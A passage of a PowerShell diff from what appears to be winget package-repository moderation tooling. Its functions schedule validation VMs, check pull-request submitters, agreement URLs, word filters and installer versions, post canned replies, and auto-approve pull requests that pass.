Get-CommitFile -PR $PR -VM (Get-SchemaCheck -SchemaInfo $MVschemaData.VM.Number -InputData (Get-NextFreeVM)) - Get-CommitFile -PR $PR -VM $VM - }; #if null - }; #if Get-Array - }; #if VM - }; #if PRQueueCount - }; #If not status - }; #If not status - }; #if valMode - - $QueryClipboard = Get-QueryClipboard -Query $Enum.ClipboardQueries.TrackerVMRunTracker - If ($QueryClipboard.($Enum.SchemaKeysEtc.SkipToContent)) { - $GhRlRemain = ((Get-GitHubRateLimit) | where {$_.source -match $Enum.GitHubRateLimit.Unlogged}).remaining - if ($valMode -eq "Validating") { - Get-TrackerVMValidate; - $valMode | clip - } - } elseIf ($QueryClipboard.($Enum.SchemaKeysEtc.manifests)) {#Example: /manifests/t/tritant/MiniMediaEdit/1.0/tritant.MiniMediaEdit.installer.yaml - $GhRlRemain = ((Get-GitHubRateLimit) | where {$_.source -match $Enum.GitHubRateLimit.Unlogged}).remaining - Write-Output "Opening manifest file" - $ManifestUrl = "$GitHubBaseUrl/tree/master/" + $QueryClipboard.($Enum.SchemaKeysEtc.manifests) - Start-Process ($ManifestUrl) - } - if (Get-ConnectedVM) { - #Get-TrackerVMResetStatus - } else { - Get-TrackerVMRotate - } - Start-Sleep 5; - } - Write-Host "End of cycle." -} - -#Second tab -Function Get-TrackerVMScheduler { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMScheduler Start"}; - $Now = get-date - while ($true) { - $Timestamp = (get-date -f s) -replace $Enum.Char.T,$Enum.Char.Space - if (([int](get-date -f mm) / $Enum.Num.Ten) -eq $Enum.Num.One) { - #Every 10 minutes. - $WatchLatch = $True - $VMs = (Get-VM |where {$_.status -ne "LongRunning"}) - foreach ($VM in $VMs) { - if ($VM.uptime.totalhours -gt 3){ - $name = $VM.name -replace $Enum.Strings.Vm,$Enum.Char.Blank; - Get-TrackerVMSetStatus $Enum.VMStatus.Complete $name - } - } - Write-Host "WatchLatch - $WatchLatch" - } - if ($WatchLatch) {#PR Watch functionality - Write-Host "$Timestamp - PRWatch" - Get-StopStuckVMs - Copy-Item "$RepoFolder\ManualValidationProfile.ps1" "$MainFolder\vm\0\Profile.ps1" - # Get-PRWatch -LogFile $MiscFolder\ApprovedPRs.txt -ReviewFile $ReviewFile -noNew - $WatchLatch = $False - } #Every 10 minutes. - - if (([int](get-date -f mm) -eq 20) -OR ([int](get-date -f mm) -eq 50)) { - #Twice an hour at 20 and 50 after. - $HourLatch = $True - Write-Host "HourLatch - $HourLatch" - - $DefenderPRs = (Get-SearchGitHub -Preset Defender).number - foreach ($PR in $DefenderPRs) { - Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.IEDS - Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.VIE - Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.VEE - Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.VC - } - } - if ($HourLatch) {#Hourly Run functionality - Write-Host "$Timestamp - ScheduledRun" - Get-ScheduledRun - $HourLatch = $False - } #Twice an hour at 20 and 50 after. - cls - Write-Host "$Timestamp - Waiting" - if ($PReprod) { - $Host.UI.RawUI.WindowTitle = "PREPROD-Waiting" - } else { - $Host.UI.RawUI.WindowTitle = "Waiting" - } - $GetStatus = Get-Status - $VMRAM = Get-ArraySum $GetStatus.RAM - $ramColor = $Enum.PSColors.Green - if ($VMRAM -gt ($SystemRAM*0.5)) { - $ramColor = $Enum.PSColors.Red - } elseif ($VMRAM -gt ($SystemRAM*.25)) { - $ramColor = $Enum.PSColors.Yellow - } - Write-Host "VM RAM Total: " -nonewline - Write-Host -f $ramColor $VMRAM - $timeClockColor = $Enum.PSColors.Red - if (Get-TimeRunning) { - $timeClockColor = $Enum.PSColors.Green - } - $PRQueueCount = Get-PRQueueCount - Write-Host -nonewline "Build: $build - Hours worked: " - Write-Host -nonewline -f $timeClockColor (Get-HoursWorkedToday) - Write-Host " - PRs in queue: $PRQueueCount" - Start-Sleep 5 - - $HourLatch = $False - $WatchLatch = $False - }; #end while true -}; #end function - -#Third tab -Function Get-PRWatch { - [CmdletBinding()] - Param( - [switch]$noNew, - [string]$LogFile = ".\PR.txt", - $oldclip = $Enum.Char.Blank, - [ValidateScript( { $_ -in (Get-Keys $Enum.SearchPresets)})][string]$SearchPreset = $Enum.SearchPresets.Approval2, - $PRePipeline = $false, - [switch]$DirectMode, - [switch]$Continuous, - $AuthList = (Get-ValidationData -Property authStrictness), - $AgreementsList = (Get-ValidationData -Property AgreementUrl), - $ReviewList = (Get-LoadFileIfExists $ReviewFile), - $QueryClipboard = (Get-QueryClipboard -Query $Enum.ClipboardQueries.PRWatch), - [int]$Page = $Enum.Num.One, - [switch]$Patch, - [switch]$WhatIf, - [switch]$Display - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRWatch Start"}; - [string]$PRtitle = "" - $ManifestReview = $True - $ResultsCount = 0 - $RunStart = Get-Date - Write-Log " | Timestmp | $(Get-PadRight PR# 6) | $(Get-PadRight PackageIdentifier) | $(Get-PadRight prVersion 15) | A | R | G | W | F | I | D | V | $(Get-PadRight ManifestVer 14) | OK |" - Write-Log " | -------- | ----- | ------------------------------- | -------------- | - | - | - | - | - | - | - | - | ------------- | -- |" - $Run = $True - while($Run -eq $True){ - if ($WhatIf) { - if ($PReprod) { - $Host.UI.RawUI.WindowTitle = "PREPROD-(WhatIf) Watcher" - } else { - $Host.UI.RawUI.WindowTitle = "(WhatIf) Watcher"#I'm the Fisher King, and "What if I watched PRs go by" is my question. - } - } else { - if ($PReprod) { - $Host.UI.RawUI.WindowTitle = "PREPROD-PR Watcher" - } else { - $Host.UI.RawUI.WindowTitle = "PR Watcher"#I'm a PR Watcher, watchin PRs go by. - } - } - if ($DirectMode) { - [int]$PR = 0 - $QueryClipboard = (Get-QueryClipboard -Query $Enum.ClipboardQueries.PRWatch) - $PR = (Get-QueryClipboard -Query $Enum.ClipboardQueries.AllPRsOnClipboard) - if ($PR -gt 0) { - $PRData = Get-PRData $PR - $PRtitle = $PRData.title - } - if ($Display) {Write-Host "DirectMode PRtitle $PRtitle"} - $Results = $PR - } else { - $RunStart = Get-Date - if ($Display) {Write-Host "Gathering PR numbers for $SearchPreset"} - $FullResults = Get-SearchGitHub -Preset $SearchPreset -nBMM -Page $Page - $Results = $FullResults.number - $ResultsCount = $Results.Count - if ($Display) {Write-Host "Found $ResultsCount PRs"} - } - foreach ($PR in $Results) { - $FullPR = $FullResults | where {$_.number -match $PR} - if ($Display) {Write-Host "Processing PR $PR"} - if ($DirectMode) { - } else { - if ($Patch) { - $QueryClipboard = Get-QueryClipboard -Query $Enum.ClipboardQueries.PRWatch -StrArray ((Get-PRManifest -pr $PR -Patch) -split "`n") - } else { - $QueryClipboard = Get-QueryClipboard -Query $Enum.ClipboardQueries.PRWatch -StrArray ((Get-PRManifest -pr $PR) -split "`n") - } - $PRtitle = $FullPR.title; - if ($Display) {Write-Host "PR title $PRTitle"} - } - if ($PRtitle) { - if (Compare-Object $PRtitle $oldclip) { - $validColor = $Enum.PSColors.Green - $invalidColor = $Enum.PSColors.Red - $cautionColor = $Enum.PSColors.Yellow - - $noRecord = $False - $WinGetOutput = "" - $title = $PRtitle -split ": " - if ($title[$Enum.Index.Second]) { - $title = $title[$Enum.Index.Second] -split $Enum.Char.Space - } else { - $title = $title -split $Enum.Char.Space - } - [string]$Submitter = $PRData.user.login - [string]$InstallerType = $QueryClipboard.InstallerType - [string]$PRVersion = $QueryClipboard.PackageVersion - [string]$PackageIdentifier = $QueryClipboard.PackageIdentifier - $matchColor = $validColor - if ($Display) {Write-Host "PackageIdentifier $PackageIdentifier"} - - - - - Write-Log " | $(Get-Date -Format $($Enum.Char.T)) | $PR | $(Get-PadRight $PackageIdentifier) | " -nonewline -ForegroundColor $matchColor - - - - #Variable effervescence - $PRAuth = $Enum.Char.Plus - $Auth = "A" - $Review = "R" - $WordFilter = "W" - $AgreementAccept = "G" - $AnF = "F" - $InstVer = "I" - $ListingDiff = "D" - $NumVersions = 99 - $PRvMan = "P" - $Approve = $Enum.Char.Plus - - $ValToEval = $Enum.Char.Blank - - If ($PackageIdentifier.Length -gt 3) { - - # $fullPR.labels.name -match $Enum.PRLabels.NP - $ManifestVersion = Get-ManifestVersion -PackageIdentifier $PackageIdentifier - $ManifestVersionParams = ($ManifestVersion -split "[.]").Count - $PRVersionParams = ($PRVersion -split "[.]").Count - - - #/////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\ - #-------------------------- Auth ----------------------------- - #\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////// - - - $AuthMatch = $AuthList | Where-Object {$PackageIdentifier -cmatch $_.PackageIdentifier} - if ($AuthMatch.PackageIdentifier -notmatch "\*") { - $AuthMatch = $AuthList | Where-Object {$_.PackageIdentifier -ceq $PackageIdentifier} - } - - if ($QueryClipboard.ManifestReview -eq $false) { - $Approve = $Enum.Char.NotExclamation - } - if ($AuthMatch) { - $AuthAccount = $AuthMatch.GitHubUserName | Sort-Object -Unique - } - $GhRlRemain = ((Get-GitHubRateLimit) | where {$_.source -match $Enum.GitHubRateLimit.Unlogged}).remaining - if ($GhRlRemain -le 0) { - $WinGetOutput = (Find-WinGetPackage $PackageIdentifier) - $ValToEval = $WinGetOutput - } else { - $ValToEval = $ManifestVersion - } - - if ($null -eq $ValToEval) { - $PRvMan = "N" - $matchColor = $invalidColor - $Approve = $Enum.Char.NotExclamation - Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.NP - Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.NM - if ($noNew) { - $noRecord = $True - } else { - Add-PRToQueue -PR $PR - # if ($title[$Enum.Index.Last] -match $Enum.Regex.hashPRRegex) { - # if ((Get-Command Get-TrackerVMValidate).name) { - #Add-PRToQueue -PR $PR - # Get-TrackerVMValidate -Silent -InspectNew - # } else { - # Get-Sandbox ($title[$Enum.Index.Last] -replace $Enum.Char.Hash,$Enum.Char.Blank) - # }; #end if Get-Command - # }; #end if title - }; #end if noNew - } - Write-Log "$(Get-PadRight $PRVersion.toString() 14) | " -nonewline -ForegroundColor $matchColor - $matchColor = $validColor - - - - - if ($AuthMatch) { - $strictness = $AuthMatch.authStrictness | Sort-Object -Unique - $matchVar = $Enum.Char.Blank - $matchColor = $cautionColor - $AuthAccount -split $Enum.Char.Slash| where {$_ -notmatch "Microsoft"} | %{ - #Write-Host "This $_ Submitter $Submitter" - if ($_ -ceq $Submitter) { - $matchVar = "matches" - $Auth = $Enum.Char.Plus - $matchColor = $validColor - } - foreach ($User in ((Invoke-GitHubPRRequest -PR $PR -Type reviews -Output Content).user.login | Select-Object -Unique)) { - if ($Submitter -match $User) { - $matchVar = "preapproved" - $Auth = $Enum.Char.Plus - $matchColor = $validColor - } - } - } - - if ($matchVar -eq $Enum.Char.Blank) { - $matchVar = $enum.strings.DoesNotMatch - $Auth = $Enum.Char.Dash - $matchColor = $invalidColor - } - if ($strictness -eq "must") { - $Auth += "!" - } - } - if ($Auth -eq $Enum.Char.NotExclamation) { - if (!$WhatIf) { - Get-PRApproval -PR $PR -PackageIdentifier $PackageIdentifier - } - } - Write-Log "$Auth | " -nonewline -ForegroundColor $matchColor - $matchColor = $validColor - - - - - #/////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\ - #-------------------------- Review---------------------------- - #\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////// - - $ReviewMatch = $ReviewList | Where-Object {$_.PackageIdentifier -ceq $PackageIdentifier } - if ($ReviewMatch) { - $Review = $ReviewMatch.Reason | Sort-Object -Unique - $matchColor = $cautionColor - } - - Write-Log "$Review | " -nonewline -ForegroundColor $matchColor - $matchColor = $validColor - - - - #In list, matches PR - explicit pass - #In list, PR has no Installer.yaml - implicit pass - #In list, missing from PR - block - #In list, mismatch from PR - block - #Not in list or PR - pass - #Not in list, in PR - alert and pass? - #Check previous version for omission - depend on wingetbot for now. - $AgreementUrlFromList = ($AgreementsList | where {$_.PackageIdentifier -ceq $PackageIdentifier}).AgreementUrl - if ($AgreementUrlFromList) { - $AgreementUrlFromClip = $QueryClipboard.AgreementUrl - if ($AgreementUrlFromClip -ceq $AgreementUrlFromList) { - #Explicit Approve - URL is present and matches. - $AgreementAccept = " + !" - } else { - #Explicit mismatch - URL is present and does not match, or URL is missing. - $AgreementAccept = $Enum.Char.NotExclamation - $ApproverUserName = ($AgreementsList | where {$_.PackageIdentifier -ceq $PackageIdentifier}).gitHubUserName - if ($WhatIf) { - "Reply-ToPR -PR $PR -CannedMessage $($Enum.CannedMessages.AgreementMismatch) -UserInput $ApproverUserName -Silent" - } else { - Reply-ToPR -PR $PR -CannedMessage $Enum.CannedMessages.AgreementMismatch -UserInput $ApproverUserName -Silent -Automated - } - } - } else { - $AgreementAccept = $Enum.Char.Plus - #Implicit Approve - your AgreementsUrl is in another file. Can't modify what isn't there. - } - Write-Log "$AgreementAccept | " -nonewline -ForegroundColor $matchColor - $matchColor = $validColor - - - - - - - #/////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\ - #-------------------------- Word Filter --------------------- - #\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////// - - - if (($PRtitle -notmatch $Enum.PRWatch.AutomaticDeletion) -AND - ($PRtitle -notmatch $Enum.PRWatch.Delete) -AND - ($PRtitle -notmatch $Enum.PRWatch.Remove) -AND - ($AgreementAccept -notmatch "[ + ]")) { - - # Returns true IFF there are any matches, otherwise false. - # Not sure why teh URI and Agreement strings are here. - [bool]$WordFilterMatch = $QueryClipboard.WordFilterList - if ($WordFilterMatch) { - $WordFilter = $Enum.Char.NotExclamation - $Approve = $Enum.Char.NotExclamation - $matchColor = $invalidColor - if (!$WhatIf) { - Reply-ToPR -PR $PR -CannedMessage WordFilter -UserInput $WordFilterMatch -Silent - } - } - } - Write-Log "$WordFilter | " -nonewline -ForegroundColor $matchColor - $matchColor = $validColor - - - - - - - if ($null -ne $ValToEval) { - if (($PRvMan -ne "N") -AND - ((($Enum.DisplayVersionExceptionList) -join $Enum.Char.Space) -match $PRtitle) -AND - ($PRtitle -notmatch $Enum.PRWatch.AutomaticDeletion) -AND - ($PRtitle -notmatch $Enum.PRWatch.Delete) -AND - ($PRtitle -notmatch $Enum.PRWatch.Remove)) { - $DisplayVersion = $QueryClipboard.DisplayVersion - $DeveloperIsAuthor = (($QueryClipboard.PackageIdentifier -split ".")[0] -ceq $Submitter) - $InstallerMatch = ($InstallerUrl -split $Enum.Char.Slash) -match $Submitter - - if ($DisplayVersion) { - if ($DisplayVersion -eq $PRVersion) { - $matchColor = $invalidColor - $AnF = $Enum.Char.Dash - if (!$WhatIf) { - Reply-ToPR -PR $PR -CannedMessage AppsAndFeaturesMatch -UserInput $Submitter -Policy "[Policy] $($Enum.PRLabels.NAF)`n[Policy] $($Enum.PRLabels.CR)" -Silent - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback -Title $PRtitle - } - } - } - - # if (!($DeveloperIsAuthor)) { - # if ($InstallerMatch) { - # $matchColor = $invalidColor - # $AnF = $Enum.Char.Dash - # Reply-ToPR -PR $PR -CannedMessage InstallerMatchesSubmitter -UserInput $Submitter -Policy $Enum.PRLabels.NAF -Silent - # Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback -Title $PRtitle - # } - # } - } - } - - Write-Log "$AnF | " -nonewline -ForegroundColor $matchColor - $matchColor = $validColor - - - - #/////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\ - #------------- InstallerUrl Version Check --------------- - #\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////// - - if (($PRvMan -ne "N") -AND - ($PRtitle -notmatch $Enum.PRWatch.AutomaticDeletion) -AND - ($PRtitle -notmatch $Enum.PRWatch.Delete) -AND - ($PRtitle -notmatch $Enum.PRWatch.Remove)) { - try { - $InstallerUrl = $QueryClipboard.InstallerUrl - #Write-Host "InstallerUrl: $InstallerUrl $installerMatches prVersion: -PR $PRVersion" -f "blue" - $installerMatches = [bool]($InstallerUrl | Select-String $PRVersion) - if (!($installerMatches)) { - #Matches when the dots are removed from semantec versions in the URL. - $installerMatches2 = [bool]($InstallerUrl | Select-String ($PRVersion -replace "[.]",$Enum.Char.Blank)) - if (!($installerMatches2)) { - $matchColor = $invalidColor - $InstVer = $Enum.Char.Dash - } - } - } catch { - $matchColor = $invalidColor - $InstVer = $Enum.Char.Dash - }; #end try - }; #end if PRvMan - - try {#This section might be unnecessary now. - if (($QueryClipboard.PackageVersion) -match $Enum.Char.Space) { - $matchColor = $invalidColor - $InstVer = $Enum.Char.NotExclamation - } - }catch{} - - Write-Log "$InstVer | " -nonewline -ForegroundColor $matchColor - $matchColor = $validColor - - - - #/////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\ - #--------------- Highest Version Removal -------------- - #\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////// - - if (($PRvMan -ne "N") -AND - (($PRtitle -match $Enum.PRWatch.AutomaticDeletion) -OR - ($PRtitle -match $Enum.PRWatch.Delete) -OR - ($PRtitle -match $Enum.PRWatch.Remove))) {#Removal PR - - if ($GhRlRemain -le 0) { - $NumVersions = ($WinGetOutput.AvailableVersions | sort).Count - } else { - $NumVersions = $ListVersions.Count - } - if (($PRVersion -eq $ManifestVersion) -OR ($NumVersions -eq 1)) { - $matchColor = $invalidColor - if ($WhatIf) { - "Reply-ToPR -PR $PR -CannedMessage VersionCount -UserInput $Submitter -Silent -Policy '[Policy] $($Enum.PRLabels.NAF)`n[Policy] $($Enum.PRLabels.HVL)'" - "Add-PRToRecord -PR $PR -Action $($Enum.PRActions.Feedback) -Title $PRtitle" - } else { - Reply-ToPR -PR $PR -CannedMessage VersionCount -UserInput $Submitter -Silent -Policy "[Policy] $($Enum.PRLabels.NAF)`n[Policy] $($Enum.PRLabels.HVL)" - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback -Title $PRtitle - $NumVersions = "L" - } - } - } else {#Addition PR - }#end if PRvMan - Write-Log "$ListingDiff | " -nonewline -ForegroundColor $matchColor - Write-Log "$NumVersions | " -nonewline -ForegroundColor $matchColor - $matchColor = $validColor - - - - - #/////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\ - #-------------------------- Approval ------------------------ - #\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////// - - if ($PRvMan -ne "N") { - if ($null -eq $PRVersion -or $Enum.Char.Blank -eq $PRVersion) { - $noRecord = $True - $PRvMan = "Error:prVersion" - $matchColor = $invalidColor - } elseif ($ManifestVersion -eq "Unknown") { - $noRecord = $True - $PRvMan = "Error:ManifestVersion" - $matchColor = $invalidColor - } elseif ($null -eq $ManifestVersion) { - $noRecord = $True - - if ($GhRlRemain -le 0) { - $PRvMan = $WinGetOutput - } else { - $PRvMan = $ManifestVersion - } - $matchColor = $invalidColor - } elseif ($PRVersion -gt $ManifestVersion) { - $PRvMan = $ManifestVersion.toString() - } elseif ($PRVersion -lt $ManifestVersion) { - $PRvMan = $ManifestVersion.toString() - $matchColor = $cautionColor - } elseif ($PRVersion -eq $ManifestVersion) { - $PRvMan = " = " - } else { - $noRecord = $True - if ($GhRlRemain -le 0) { - $PRvMan = $WinGetOutput - } else { - $PRvMan = $ManifestVersion - } - }; - }; - } else { - $Approve = $Enum.Char.NotExclamation - $Auth = $Enum.Char.NotExclamation - $AnF = "F" - $InstVer = "I" - $PRAuth = $Enum.Char.NotExclamation - $Review = "R" - $ListingDiff = "D" - $NumVersions = 99 - $WordFilter = "W" - $AgreementAccept = "G" - $PRvMan = "P" - Open-PRInBrowser -PR $PR - } - - - if (($Approve -eq $Enum.Char.NotExclamation) -or - ($Auth -eq $Enum.Char.NotExclamation) -or - ($AnF -eq $Enum.Char.Dash) -or - ($InstVer -eq $Enum.Char.NotExclamation) -or - ($PRAuth -eq $Enum.Char.NotExclamation) -or - ($Review -ne "R") -or - ($ListingDiff -eq $Enum.Char.NotExclamation) -or - ($NumVersions -eq 1) -or - ($NumVersions -eq "L") -or - ($WordFilter -eq $Enum.Char.NotExclamation) -or - ($AgreementAccept -eq $Enum.Char.NotExclamation) -or - ($PRvMan -eq "N")) { - #-or ($PRvMan -match "^Error") - $matchColor = $cautionColor - $Approve = $Enum.Char.NotExclamation - $noRecord = $True - } - if ($WhatIf) { - $Approve += "W" - } - - $PRvMan = Get-PadRight $PRvMan 14 - Write-Log "$PRvMan | " -nonewline -ForegroundColor $matchColor - $matchColor = $validColor - - - - - - if ($PRePipeline -eq $false) { - if ($WhatIf) { - Write-Host "Approve-PR -PR $PR" - Write-Host "Add-PRToRecord -PR $PR -Action $($Enum.PRActions.Approved) -Title $PRtitle" - }else { - if ($Approve -eq $Enum.Char.Plus) { - $Approve = Approve-PR -PR $PR - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Approved -Title $PRtitle - } - } - } - - Write-Log "$Approve | " -ForegroundColor $matchColor - - $oldclip = $PRtitle - - }; #end if Compare-Object - }; #end if PRtitle - }; #end foreach PR - if ($DirectMode) { - $SecondsBetweenRuns = 1 - #Write-Host "Sleeping for $SecondsBetweenRuns seconds." - Start-Sleep $SecondsBetweenRuns - - } else { - $Run = $False - } - if ($Continuous) { - $Run = $True - $SleepSeconds = (30-$ResultsCount)*60 - $WakeTime = (Get-Date (Get-Date).AddSeconds($SleepSeconds)).ToString() - $RunEnd = Get-Date - $RunMinutes = ($RunEnd - $RunStart).TotalMinutes - $RunSeconds = ($RunEnd - $RunStart).TotalSeconds - $RunAvgSecPerItem = $RunSeconds/$ResultsCount - Write-Log "Last run approved $ResultsCount PRs in $RunMinutes minutes ($RunSeconds seconds), for an average of $RunAvgSecPerItem seconds per PR - sleeping until $WakeTime" - if ($WhatIf) { - if ($PReprod) { - $Host.UI.RawUI.WindowTitle = "PREPROD-(WhatIf) until $WakeTime" - } else { - $Host.UI.RawUI.WindowTitle = "(WhatIf) until $WakeTime" - } - } else { - if ($PReprod) { - $Host.UI.RawUI.WindowTitle = "PREPROD-sleeping until $WakeTime" - } else { - $Host.UI.RawUI.WindowTitle = "sleeping until $WakeTime" - } - } - Write-ApprovalStats -DateTime $RunStart -PRsApprovedDuringLastRun $ResultsCount -LastRunTookSeconds $RunSeconds -SleepUntil $WakeTime - - Sleep $SleepSeconds - } - $log = "" - - }; #end while true eq run -}; #end function - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -############################## - Automation - ############################### -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Function Get-WorkSearch { - Param( - [string[]]$PresetList = @($Enum.SearchPresets.ToWork),#Approval"," - [int]$Page = $Enum.Num.One, - [switch]$OpenInBrowser - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-WorkSearch $PresetList"}; - Foreach ($Preset in $PresetList) { - Write-Host "Preset $Preset" - $PRs = (Get-SearchGitHub -Preset $Preset -Page $Page -NoLabels -nBMM) - Write-Host "PRs.Length $($PRs.Length)" - While ($PRs.Length -gt 0) { - $line = 0 - $PRs = (Get-SearchGitHub -Preset $Preset -Page $Page -NoLabels -nBMM) - Write-Output "$(Get-Date -Format $($Enum.Char.T)) $Preset Page $Page beginning with $($PRs.Length) Results" - $PRs = $PRs | where {$_.labels} | where {$_.number -notin (Get-Status).pr} - - Foreach ($FullPR in $PRs) { - # Write-Host "FullPR $FullPR" - $PR = Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $FullPR.number - Get-TrackerProgress -Activity $MyInvocation.MyCommand.name -ItemName $PR -ItemNumber $line -TotalItems $PRs.Length; $line++ - if ($Enum.PRLabels.HVL -notin $FullPR.labels.name) { - if (($FullPR.title -match $Enum.PRWatch.Remove) -OR - ($FullPR.title -match $Enum.PRWatch.Delete) -OR - ($FullPR.title -match $Enum.PRWatch.AutomaticDeletion)){ - Get-GitHubPreset CheckInstaller -PR $PR - } - } - $Comments = Get-PRComments -PR $PR - if ($Preset -eq $Enum.SearchPresets.Approval){ - if (Get-NonStdPRComments -PR $PR -comments $Comments.body){ - Open-PRInBrowser -PR $PR - } else { - Open-PRInBrowser -PR $PR -FIles - } - } elseif ($Preset -eq $Enum.SearchPresets.Defender){ - Get-GitHubPreset -Preset $Enum.GitHubPresets.LabelAction -PR $PR - } else {#ToWork etc - $Comments = ($Comments | Select-Object $Enum.Strings.CreatedAt,@{n = $Enum.Strings.UserName; e = {$_.user.login -replace $Enum.Strings.BotPrefix}},body) - $State = (Get-PRStateFromComments -PR $PR -Comments $Comments) - $LastState = $State[$Enum.Index.Last] - if ($LastState.event -eq $Enum.PRTrackerStates.DefenderFail) { - Get-PRLabelAction -PR $PR - } elseif ($LastState.event -eq $Enum.PRTrackerStates.LabelAction) { - Get-GitHubPreset -Preset $Enum.GitHubPresets.LabelAction -PR $PR - Open-PRInBrowser -PR $PR - } else { - if ($Comments[$Enum.Index.Last].user.login -ne $Enum.GitHubUserNames.GitHubUserName) { - if ($LastState.event -eq $Enum.PRTrackerStates.PreValidation) { - Get-GitHubPreset -Preset $Enum.GitHubPresets.LabelAction -PR $PR - } - if ($OpenInBrowser) { - Open-PRInBrowser -PR $PR - } - } - }#end if LastCommenter - }#end if Preset - }#end foreach FullPR - if ($OpenInBrowser) { - Read-Host "$(Get-Date -Format $($Enum.Char.T)) $Preset Page $Page complete with $($PRs.Length) Results - press ENTER to continue..." - } - $Page++ - }#end While Count - $Page = $Enum.Num.One - }#end Foreach Preset - Write-Progress -Activity $MyInvocation.MyCommand.name -Completed -}#end Get-WorkSearch - -Function Get-GitHubPreset { - Param( - [ValidateScript( { $_ -in (Get-Keys $Enum.GitHubPresets)} )][string]$Preset, - [int]$PR, - $CannedMessage = $Preset, - $UserInput, - [Switch]$Force, - $out = $Enum.Char.Blank - ) - $PR = Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-GitHubPreset $Preset"}; - if (($Preset -eq $Enum.GitHubPresets.GitHubStatus) -OR - ($Preset -eq $Enum.GitHubPresets.IdleMode) -OR - ($Preset -eq $Enum.GitHubPresets.IEDSMode) -OR - ($Preset -eq $Enum.GitHubPresets.Timeclock) -OR - ($Preset -eq $Enum.GitHubPresets.Validating) -OR - ($Preset -eq $Enum.GitHubPresets.WorkSearch)) { - $Force = $True - $out += $Preset; - } - - if (($PR.ToString().Length -eq 6) -OR $Force) { - Switch ($Preset) { - $Enum.GitHubPresets.Approved { - $out += Approve-PR -PR $PR; - Add-PRToRecord -PR $PR -Action $Preset - } - $Enum.GitHubPresets.AutomationBlock { - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Blocking - $out += Reply-ToPR -PR $PR -CannedMessage AutomationBlock -Policy $Enum.PRLabels.NB - } - $Enum.GitHubPresets.Blocking { - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Blocking - $out += Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type $Enum.PRRequestTypes.Comments -Data "[Policy] $($Enum.PRLabels.NB)" - } - $Enum.GitHubPresets.CheckInstaller { - $Pull = (Invoke-GitHubPRRequest -PR $PR -Type files -Output $Enum.PRRequestOutput.Content -JSON) - $PullInstallerContents = (Get-DecodeGitHubFile ((Invoke-GitHubRequest -Uri $Pull.contents_url[$Enum.Index.First] -JSON).content)) - $Url = (Get-YamlValue -Key InstallerUrl -InputArray $PullInstallerContents) - $out = $Enum.Char.Blank - try { - $InstallerStatus = Check-PRInstallerStatusInnerWrapper $Url - $out = "Status Code: $InstallerStatus" - }catch{ - $out = $error[$Enum.Index.First].Exception.Message - } - $Body = "URL: $Url `n" + $out+"`n`n(Automated message - build $build)" - #If ($Body -match "Response status code does not indicate success") { - #$out += Get-GitHubPreset InstallerMissing -PR $PR - #} #Need this to only take action on new PRs, not removal PRs. - $out += Reply-ToPR -PR $PR -body $Body -Automated - # $out = $out += Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type $Enum.PRRequestTypes.Comments -Data $Body -Output $Enum.PRRequestOutput.StatusDescription - } - $Enum.GitHubPresets.Completed { - $out += Reply-ToPR -PR $PR -Body "This package installs and launches normally in a Windows 10 VM." -Policy $Enum.PRLabels.MV - } - $Enum.GitHubPresets.Closed { - if ($UserInput) { - Add-PRToRecord -PR $PR -Action $Preset - $out += Invoke-GitHubPRRequest -PR $PR -Type $Enum.PRRequestTypes.Comments -Output $Enum.PRRequestOutput.StatusDescription -Method $Enum.PRRequestMethods.Post -Data "Close with reason: $UserInput;" - } else { - Write-Output "-UserInput needed to use Preset $Preset" - } - } - $Enum.GitHubPresets.DefenderFail { - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Blocking - $out += Get-CannedMessage -Response DefenderFail -NoClip -NotAutomated - #$out += Reply-ToPR -PR $PR -CannedMessage $Preset -Policy "Needs-Attention`n[Policy] $($Enum.PRLabels.VDE)" - } - $Enum.GitHubPresets.DriverInstall { - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Blocking - $out += Reply-ToPR -PR $PR -CannedMessage $Preset -Policy $Enum.PRLabels.DI - } - $Enum.GitHubPresets.Duplicate { - if ($UserInput -match "[0-9]{5,6}") { - Get-GitHubPreset -Preset $Enum.GitHubPresets.Closed -PR 